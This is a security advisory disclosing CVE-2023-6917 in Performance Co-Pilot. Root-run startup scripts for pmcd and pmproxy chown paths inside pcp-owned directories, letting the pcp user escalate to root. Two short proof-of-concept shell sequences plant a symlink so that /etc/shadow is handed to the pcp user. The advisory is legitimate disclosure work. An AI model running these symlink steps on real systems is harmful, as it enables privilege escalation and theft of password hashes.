Performance Co-Pilot (pcp): Unsafe use of Directories in /var/lib/pcp and /var/log/pcp breaks pcp Service User Isolation (CVE-2023-6917)
#CVE #local1) Introduction
Performance Co-Pilot (pcp) is a performance analysis toolkit that allows to gather and evaluate data on a local system and also share this data over the network in a distributed manner.
During routine reviews we noticed issues in pcp on Linux with directory permissions that allow to locally escalate privileges from the pcp service user to root.
These findings are based on the 5.3.7 version release of pcp. CVE-2023-6917 has been assigned for this class of issues in pcp.
2) Service User And Directory Permissions
The systemd services shipped with pcp run with mixed privileges. Some use only
limited pcp user/group privileges, like “pmie_check.service”. Others like
“pmcd.service” run with full root privileges. The pmcd
daemon implements the
networking logic of pcp. It drops privileges from root to pcp during
startup.
The different pcp programs use a shared directory structure:
- /var/lib/pcp/tmp owned by
pcp:pcp
mode0775
- /var/log/pcp owned by
pcp:pcp
mode0775
When privileged processes running as root access files in directories or directory trees controlled by unprivileged users, then easily security issues can result from this. For the directories listed above, we quickly found the two exploitable issues that are described in the following sections.
3a) Startup Script for pmcd
runs chown for $PCP_TMP_DIR/pmlogger
The “pmcd.service” runs with root privileges and executes the bash script
“/usr/libexec/pcp/lib/pmcd” (named “rc_pmcd” in the Git source repository).
Within this script the following code runs as part of the
start routine, found in function _reboot_setup()
:
if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
then
mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
if which restorecon >/dev/null 2>&1
then
restorecon -r "$PCP_TMP_DIR"
fi
else
$PCP_TMP_DIR
in this context refers to “/var/lib/pcp/tmp”, owned by pcp:pcp
mode 0775
. Since the shell code above does not exit on errors, a compromised pcp
user doesn’t even have to win a race condition to perform a symlink attack.
The following exploit works:
# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp $ cd /var/lib/pcp/tmp
pcp $ rm -r pmlogger
pcp $ ln -s /etc/shadow pmlogger
pcp $ exit
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
3b) Startup Script for pmproxy
runs chown in $RUN_DIR
The “pmproxy.service” runs with root privileges and executes the bash script
“/usr/libexec/pcp/lib/pmproxy” (named rc_pmproxy
in the Git source
repository). Within this script the following code runs as
part of the start (and other) routines:
# create directory which will serve as cwd
if [ ! -d "$RUNDIR" ]
then
mkdir -p -m 775 "$RUNDIR"
chown $PCP_USER:$PCP_GROUP "$RUNDIR"
fi
$RUN_DIR
in this context refers to “/var/log/pcp/pmproxy”. “/var/log/pcp” is
owned by pcp:pcp
mode 0775
. Similar to the exploit described in section
3a), no race condition has to be won to exploit this:
# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp $ cd /var/log/pcp
pcp $ rm -rf pmproxy
pcp $ ln -s /etc/shadow pmproxy
pcp $ exit
root # systemctl start pmproxy.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
4) Summary
We only picked two of the more obvious security issues that result from root processes operating on these pcp owned directories. There are likely more issues of the same class lingering in the pcp scripts that run as root. Given this, the user separation of pcp can be considered nonexistent in its current form, and the pcp user should be treated equal to root.
The pcp service user is also used for the network facing pmcd
component,
thus these issues strongly impact defense in depth for pcp, for the scenario
when an attacker finds a way to exploit the network daemon.
5) Bugfix
Upstream performed a wider redesign of the privilege separation handling in pcp components. The pull request corresponding to this contains a large number of commits. It is difficult to isolate any simple patches from that.
In our Bugzilla bug that tracks this issue, I attempted to identify the subset of commits relevant to this issue, to help with backporting.
6) Timeline
2023-12-13 | I reported the findings to pcp-maintainers@groups.io offering coordinated disclosure. |
2023-12-14 | The Red Hat Security Team was added to the discussion. |
2023-12-15 | After some initial disagreement whether this qualifies as an actual security issue, an agreement was found that it is a change of security scope and deserves a CVE assignment. |
2023-12-15 | An upstream author suggested mid of February as a publication date, for which time a release for pcp had been planned anyway. |
2023-12-18 | Red Hat Security assigned CVE-2023-6917 to track the issue(s). |
2024-01-01 | Upstream discussed some initial changes to address the issue(s) in the mail thread and I tried to give some feedback about them. |
2024-02-20 | Communication about the publication process died down, and I learned from our packager that the Pull Request containing the fixes had already been public for some time. It seems no clear embargo had been established for the coordinated release, there had been contradicting statements. |
2024-02-27 | After verifying with the upstream authors that publication is okay I finalized my report and published all information. |